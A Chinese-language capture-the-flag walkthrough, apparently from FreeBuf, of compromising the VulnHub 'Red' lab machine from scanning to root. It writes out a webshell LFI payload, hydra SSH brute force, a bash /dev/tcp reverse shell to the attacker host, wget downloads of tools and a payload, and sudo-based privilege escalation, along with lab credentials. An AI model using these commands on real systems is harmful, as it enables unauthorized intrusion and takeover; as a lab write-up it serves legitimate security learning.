hailong86
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
1.靶机介绍
靶机下载地址:https://www.vulnhub.com/entry/red-1,753/
靶机提示:
Description
Red has taken over your system, are you able to regain control?
This works better on VirtualBox rather than VMware。
靶机地址:10.8.1.150
提示系统已经被控制,说明存在后门。
2.端口发现
扫描靶机信息,发现开放了22、25、80、110端口,WordPress 5.8.1、robots.txt等
3.访问web
访问web
访问robots.txt,有wp,无法访问,那就目录扫描一下
4.目录扫描
扫描目录,扫到了wp的登录页面和配置页面等
smseek扫描网站,发现用户administrator
爆破登录未成功,继续浏览网站,得到域名主机redrocks.win,加入到hosts文件
成功访问,根据页面信息提示网站已经被入侵,并且提到有后门,暂时也没发现什么,那就扫描一下后门文件,因为 WordPress 在 Apache PHP上运行。所以应该是 php 后门
利用gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php,.txt -u http://redrocks.win扫描一下后门文件,得到NetworkFileManagerPHP.php
5.wfuzz参数
Google上搜索一下NetworkFileManagerPHP.php发现是个 webshell 后门,扫描结果状态码是 500,这个脚本可能存在 LFI ,发现其中指向了gitub上的一个字典,正好kali上也是自带这个字典的
wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt使用 wfuzz 测试一下参数,发现参数key
http://redrocks.win/NetworkFileManagerPHP.php?key=cat%20../../../../../../../../../etc/passwd,利用key参数成功查看到/etc/passwd的内容,发现3个用户john、ippsec、oxdf
6.渗透测试
尝试查看NetworkFileManagerPHP.php后门文件,想到了php://filter (是一种设计用来允许过滤器程序在打开时成为流的封装协议。)利用burpsuite抓包,然后构造payload:/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/recource=NetworkFileManagerPHP.php ,成功返回base64代码
利用echo解密,得到代码
然后将注释内容解密,得到提示利用Hashcat规则进行解密
/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php直接查看网站配置文件,得到base64代码
成功解出 'DB_NAME', 'wordpress' ,'DB_USER', 'john','DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!'
之前查看/etc/passwd有john的用户名,利用用户名john和R3v_m4lwh3r3_k1nG!!登录失败
刚刚破解注释内容的时候提示使用hashcat规则进行破解,将R3v_m4lwh3r3_k1nG!!写入文件中,利用 hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passwd.txt 生成字典
7.反弹shell
hydra -l john -P passwd.txt ssh://10.8.1.150 -t 4爆破john的ssh密码,成功得到密码r3v_m4lwh3r3_k1nG!!,但是不一会就被踢出来了
echo "bash -c 'bash -i >& /dev/tcp/10.8.1.169/1234 0>&1'" >>shell.sh利用nc建立稳定的反弹连接
8.权限提升
sudo -l,发现john可以不需要密码执行ippsec用户的/usr/bin/time,发现又被踢出来了。。。看样子是john这个用户的问题,那就尝试连接到ippsec用户
查找到time提权的方式
执行sudo -u ippsec /usr/bin/time /bin/bash,成功切换ippsec用户,在 /dev/shm 目录中创建一个反向 shell bash 脚本,在 kali 上运行 nc -lvvp 1234 和 执行 shell 脚本,但是过一段时间还是被踢出来
为了防止被踢出来,创建一个shell
1.python3 -c 'import pty;pty.spawn("/bin/bash")'
2.export TERM=xterm然后 Ctrl+Z 退出来一下
3.stty raw -echo;fg回车后输入 reset 再回车
查看ippsec目录下的user.txt,提示说是假的flag,你甚至没有使用正确的用户,看着好别扭,利用python3 -c 'import pty;pty.spawn("/bin/bash")'再升级下shell,发现cat命令调用的是vi,而vi是cat。。。
python -m http.server 8000 本机开启临时http
靶机wget http://10.8.1.169:8000/pspy64下载pspy64文件
赋权,执行
这应该是他对系统的后门,查看一下这个 supersecretfileuc.c文件,发现是定时弹出的脚本,所以只需要上传一个提权的脚本将此脚本进行替换即可
生成C 编写的 shell 替换掉原来的 supersecretfileuc.c,选择/bin/bash生成shell写入到本地supersecretfileuc.c文件
先删除/var/www/wordpress/.git下的rev和supersecretfileuc.c文件
本机开启python -m http.server 8000,靶机下载wget http://10.8.1.169:8000/supersecretfileuc.c编辑好的文件
本机nc -lvnp 9001开启监听,等一会之后成功连接,拿到root权限,拿到flag
9.总结
这个靶机还是挺有难度的,之前打了好久才打通关,这里的知识点也很多,是非常值得练习的一个靶机。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)